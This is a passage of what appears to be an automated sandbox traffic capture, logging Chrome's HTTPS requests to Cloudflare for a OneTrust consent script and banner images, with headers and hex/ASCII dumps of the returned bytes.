.2,0.2-0.6,0.2-0.8,0c-0.2-0.2-0.2-0.6,0-0.8l0,0L20.8,7l-2.2-2.2c-0.2-0.2-0.2-0.6,0-0.8c0.2-0.2,0.6-0.2,0.8,0l0,0l2.2,2.2L23.8,4C24,3.8,24.4,3.8,24.6,4z"/><path id="y" class="st3" d="M12.7,4.1c0.2,0.2,0.3,0.6,0.1,0.8l0,0L8.6,9.8C8.5,9.9,8.4,10,8
2024-10-16 15:56:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49852	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	761	OUT	GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	837	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"c26259f649def56fbb3b494c9ae5b5a1" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oBgtXzoAx3%2BN%2F6avtZl%2BBmQm%2FIgJt%2Fg75wAnGQuZ5XlzvmuQDbiKOXjbPBUqtrOqjqaK5i9d4SmPChvKPtcY9M4edX71qba83r5ZT9AE0GBG0mquPnFX0FXUlSblEq3hh4gBdhr25No%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8d393db94a103ac4-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	532	IN	Data Raw: 35 32 65 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 Data Ascii: 52eevar OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIAB
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 5d 5d 22 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 44 6f 6d 61 69 6e 49 Data Ascii: ,"SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainI
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 65 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 21 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 6f 2e 61 70 Data Ascii: /))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},e);function e(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=function(t,e){if("style"!==t.toLowerCase()&&o.ap
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b Data Ascii: CATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 26 26 69 2e 6c 61 73 74 49 64 7c 7c 28 6e 2e 6c 61 73 74 49 64 3d 30 29 Data Ascii: Text="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],null!=(i=n)&&i.lastId\|\|(n.lastId=0)
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 68 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 6f 6e 63 65 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 6e 6f 6e 63 65 7c 7c 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 6e 75 6c 6c 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 42 61 6e 6e 65 72 53 44 4b 44 65 70 65 6e 64 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 Data Ascii: h.prototype.captureNonce=function(){this.nonce=p.stubScriptElement.nonce\|\|p.stubScriptElement.getAttribute("nonce")\|\|null},h.prototype.fetchBannerSDKDependency=function(){this.setDomainDataFileURL(),this.crossOrigin=p.stubScriptElement.getAttribute("cross
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 6e 65 54 72 75 73 74 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 69 2e 63 6f 75 6e 74 72 79 43 6f 64 65 2c 69 2e 73 74 61 74 65 43 6f 64 65 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 28 69 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 29 7c 7c 74 2e 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 Data Ascii: neTrust.geolocationResponse,this.setGeoLocation(i.countryCode,i.stateCode),this.addBannerSDKScript(t)):(i=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam))\|\|t.SkipGeolocation?(e=i.split(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i)
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 65 6f 4c 6f 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 74 2c 73 74 61 74 65 3a 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 22 3a 65 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 74 46 65 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 2c 6e 2c 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f Data Ascii: eoLocation=function(t,e){p.userLocation={country:t,state:e=void 0===e?"":e}},h.prototype.otFetch=function(t,i,e,n,a){void 0===e&&(e=!1),void 0===n&&(n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file:/
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 72 20 65 2c 69 2c 6e 2c 61 3d 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 2c 6f 3d 74 2e 52 75 6c 65 53 65 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 74 2e 44 65 66 61 75 6c 74 7d 29 3b 69 66 28 21 61 2e 63 6f 75 6e 74 72 79 26 26 21 61 2e 73 74 61 74 65 29 72 65 74 75 72 6e 20 6f 26 26 30 3c 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 3a 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 Data Ascii: r e,i,n,a=p.userLocation,o=t.RuleSet.filter(function(t){return!0===t.Default});if(!a.country&&!a.state)return o&&0<o.length?o[0]:null;for(var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.Rule
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 29 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 69 64 61 74 65 49 41 42 47 44 50 52 41 70 70 6c 69 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f Data Ascii: IABCookieValue=this.getCookie(p.oneTrustIABCookieName)):p.isStubReady=!1},h.prototype.validateIABGDPRApplied=function(){var t=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam).split(";")[0];t?this.isBoolean(t)?p.oneTrustIABgdprAppliesGlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	49855	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	621	OUT	GET /slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	790	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: image/png Content-Length: 3908 Connection: close CF-Ray: 8d393db95f653171-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 141145 Cache-Control: max-age=604800 ETag: "f4eb2a2f745f8799e3e6f6478ab2305d" Last-Modified: Wed, 21 Aug 2024 18:12:19 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aHHd7FN85azMiykZmHgJ%2FZH0vWhL4SjdXAHT7iEy2roMzzlJGDqUg4rxd88gRp0VAayRAhoghpef6YcAqpZZyzMboL1adFkn11eGU0SYf6Wo6UFm%2FptEvoGPxaXQ6%2Fe4P3%2B0QcO0rGiFwaMO1Vw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 37 00 00 00 ae 08 03 00 00 00 64 e2 ba 3f 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 6d 50 4c 54 45 fc b3 2f 00 00 00 ff af 40 ff af 30 ff 9f 30 ff b7 30 ff a7 38 f7 a7 30 fb b3 30 ff a7 34 fb a3 2c ff a9 35 ff a8 35 ff a6 34 fb b3 30 fd a6 33 fb a3 2c fc b5 30 ff a7 35 fd a8 35 fa a4 2d fd b4 2f fe a8 34 fe a6 35 fe a5 34 fb a5 2c fd b4 30 fe a7 33 fa a5 2d fc b4 2f fc b3 2e fb b3 2f fb b3 2e fc b2 2f fc b2 2e fc b2 2d fb b2 2f fb b2 2e fc b1 2f fc b1 2e fc b1 2d fb b1 2e fb b1 2d fc b0 2f fc b0 2d fb b0 2e fb b0 2d fc af 2f fc af 2e fc af 2d fa b0 2d fb af 2f fb af 2e fb af 2d fc ae 2f fc ae 2e fa af 2e fa af 2d fb ae 2f fb ae 2e fb ae 2d fc ad Data Ascii: PNGIHDR7d?sRGBgAMAamPLTE/@0008004,55403,055-/454,03-/././.-/./.-.-/-.-/.--/.-/..-/.-
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 30 fe 9e 32 fd 9e 32 fe 9d 33 fd 9e 30 fe 9d 32 fd 9d 32 fd 9d 31 fe 9c 33 fd 9d 30 fe 9c 32 fd 9c 32 fd 9c 31 fe 9b 33 fd 9c 30 fe 9b 32 fd 9b 32 fd 9b 31 fe 9a 33 fd 9b 30 fe 9a 32 fd 9a 32 fd 9a 31 fd 9a 30 fe 99 32 fd 99 32 fd 99 31 fd 99 30 fe 98 32 fe 98 31 fd 98 31 fd 98 30 fd 97 31 fd 97 30 fd 96 31 fd 95 31 fd 94 31 fd 93 31 e8 00 d7 4f 00 00 00 1d 74 52 4e 53 ff 00 10 10 10 20 20 20 40 40 40 8f 8f 8f 90 90 90 9f 9f 9f a0 cf cf cf cf cf df df df 07 60 5f 3e 00 00 0c 4c 49 44 41 54 78 da dc 9a cd 6e db 46 14 85 ef 25 ef 28 33 94 2c 19 2e 0a e4 8d ba e8 da bb be 42 1e 20 db a2 cb 6e f3 16 5d f4 07 30 0a 18 5e b8 81 eb a7 e9 aa b6 49 78 18 bb 00 03 84 b0 a7 f4 d1 f8 48 23 29 17 81 11 dc 0c 05 f2 f3 39 67 2e 47 51 15 11 5f af be 93 e9 9a 0b ac 4f b2 Data Ascii: 02230221302213022130221022102110101111OtRNS @@@`_>LIDATxnF%(3,.B n]0^IxH#)9g.GQ_O
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 44 fc 46 2c b2 fc 99 8e f1 a5 f9 95 f3 95 6e 85 18 da 17 f0 fd f1 49 16 f9 24 4b 45 b6 34 9d 10 19 e9 cb a4 a9 57 e8 06 c9 28 2b f3 95 c3 49 86 2d 59 64 43 e9 15 3f 16 49 24 7c c9 9e d3 99 bc ad 6a dd 8e 2f 93 ee 58 46 0c df 98 18 76 2b 65 cc 65 78 63 2a 85 91 8d 7a c3 76 29 14 65 31 43 65 ab 39 50 d9 e6 7c 99 56 0f f2 0d 28 4f b1 07 39 3c 69 cf 44 42 33 af ab 84 43 31 64 a3 de 08 64 59 82 e2 31 fa 66 69 95 96 f0 25 b8 a3 c4 a7 d8 ac ca d3 c1 c4 d2 a6 d9 6a 4e bc 2c 65 12 c3 ba ef 27 d6 80 f4 77 05 91 89 9c b8 a3 ba 64 94 e1 f8 d0 ab 0c 91 b1 5f 38 63 64 69 59 73 5c ab 62 38 94 2f 31 b1 b1 09 f2 0d 21 2b 31 aa 0d d6 dc 95 31 f3 f3 ad 07 47 d8 45 be 52 b5 6f 86 e3 d8 fd 22 86 e7 37 4d ba 85 be 53 1d 75 b6 c3 28 c3 4d 4b fb ba 43 62 03 33 53 a0 b2 32 51 86 Data Ascii: DF,nI$KE4W(+I-YdC?I$\|j/XFv+eexc*zv)e1Ce9P\|V(O9<iDB3C1ddY1fi%jN,e'wd_8cdiYs\b8/1!+11GERo"7MSu(MKCb3S2Q
2024-10-16 15:56:49 UTC	591	IN	Data Raw: c6 d8 70 66 97 71 26 06 17 50 1b d4 78 5e ea 8d f1 e5 d4 e6 b9 5f 37 38 8f 9a a1 36 9e fb c4 95 c1 5e 7a 4c f9 f5 01 08 0d 48 63 a8 75 47 d8 71 65 98 ce 6f 56 6e 06 dc 98 35 09 b5 7b 7f 29 6e 38 73 31 c5 92 14 03 70 ab 96 44 c6 5e 2d d4 fa 16 83 95 cd c3 2a cc 52 30 39 10 42 79 67 87 d0 40 9d 50 86 60 af 59 99 36 a0 ee 0e a1 86 5a db 62 70 31 cb 72 36 a6 55 86 8a a0 16 b6 18 dc ce ce 91 21 6f 91 32 86 5a b1 bf 94 d5 df 66 19 e7 65 79 82 b0 56 f5 3e 2b b4 64 b3 c4 95 2c 43 b6 71 cd 8a e3 f9 99 3a a1 2d b5 18 56 5e ef 4e 1c 3c e0 78 58 65 f1 68 86 a7 00 6d 3d 2f 2d c2 c2 21 cd 80 02 22 b4 99 a7 1c 6f cd 77 18 1c 61 c0 44 84 bf 9e 50 97 31 86 f2 c6 5b 7f 8b dd d9 02 19 6a 23 d4 a6 8c a1 a6 f2 d2 26 b8 0b 0b 20 75 cb 43 9f 5d 54 48 c2 e5 ad 4e 65 0c d5 a9 cc Data Ascii: pfq&Px^_786^zLHcuGqeoVn5{)n8s1pD^-*R09Byg@P`Y6Zbp1r6U!o2ZfeyV>+d,Cq:-V^N<xXehm=/-!"owaDP1[j#& uC]THNe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	49856	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	623	OUT	GET /slt3lc6tev37/6bNeiYhSx0RGvbzxS5Fi8c/3ff83bcc36e86e85170201f8264b2c1c/banner-new.png HTTP/1.1 Host: cf-assets.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	786	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: image/png Content-Length: 3127 Connection: close CF-Ray: 8d393db96e916b15-DFW CF-Cache-Status: HIT Accept-Ranges: bytes Age: 141145 Cache-Control: max-age=604800 ETag: "a9df8b6f62f4aeb1b4699a2ae4b291bb" Last-Modified: Thu, 22 Aug 2024 13:46:01 GMT Vary: Accept Cf-Bgj: imgq:85,h2pri Cf-Polished: status=not_needed Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GK4BesKAH8d%2B2qiGKP8k3jY6jHKslkZcAITUP1c41tSv46W3Hb7mXFxn%2BMhnSO2jyIXf5xOErxbUI2Mkoa2Iozznf4miSm5HwNuya6dMKdIzyz6OFJv102RGDJuHCF8xsgaVuQxQb6SKNzMwsVk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	583	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 9a 00 00 00 57 08 03 00 00 00 93 3b 15 8e 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 02 6a 50 4c 54 45 fc b3 2f 00 00 00 ff af 40 ff af 30 ff 9f 30 ff b7 30 ff a7 38 f7 a7 30 fb b3 30 ff a7 34 fb a3 2c ff a8 35 ff a8 34 ff a6 34 fb b3 30 fd a6 33 fb a3 2c fc b5 30 fd a8 35 ff a5 35 fa a4 2d fd b4 2f fe a8 34 fe a6 35 fe a5 34 fb a5 2c fb a4 2c fd b4 30 fe a7 33 fe a6 33 fd a1 2f fc b4 2f fc b3 2e fb b3 2f fb b3 2e fc b2 2f fc b2 2e fc b2 2d fb b2 2f fb b2 2e fc b1 2f fc b1 2e fc b1 2d fb b1 2e fb b1 2d fc b0 2f fc b0 2d fb b0 2f fb b0 2e fb b0 2d fc af 2f fc af 2e fc af 2d fa b0 2d fb af 2f fb af 2e fb af 2d fc ae 2f fc ae 2e fa af 2e fa af 2d fb ae Data Ascii: PNGIHDRW;sRGBgAMAajPLTE/@0008004,54403,055-/454,,033//././.-/./.-.-/-/.-/.--/.-/..-
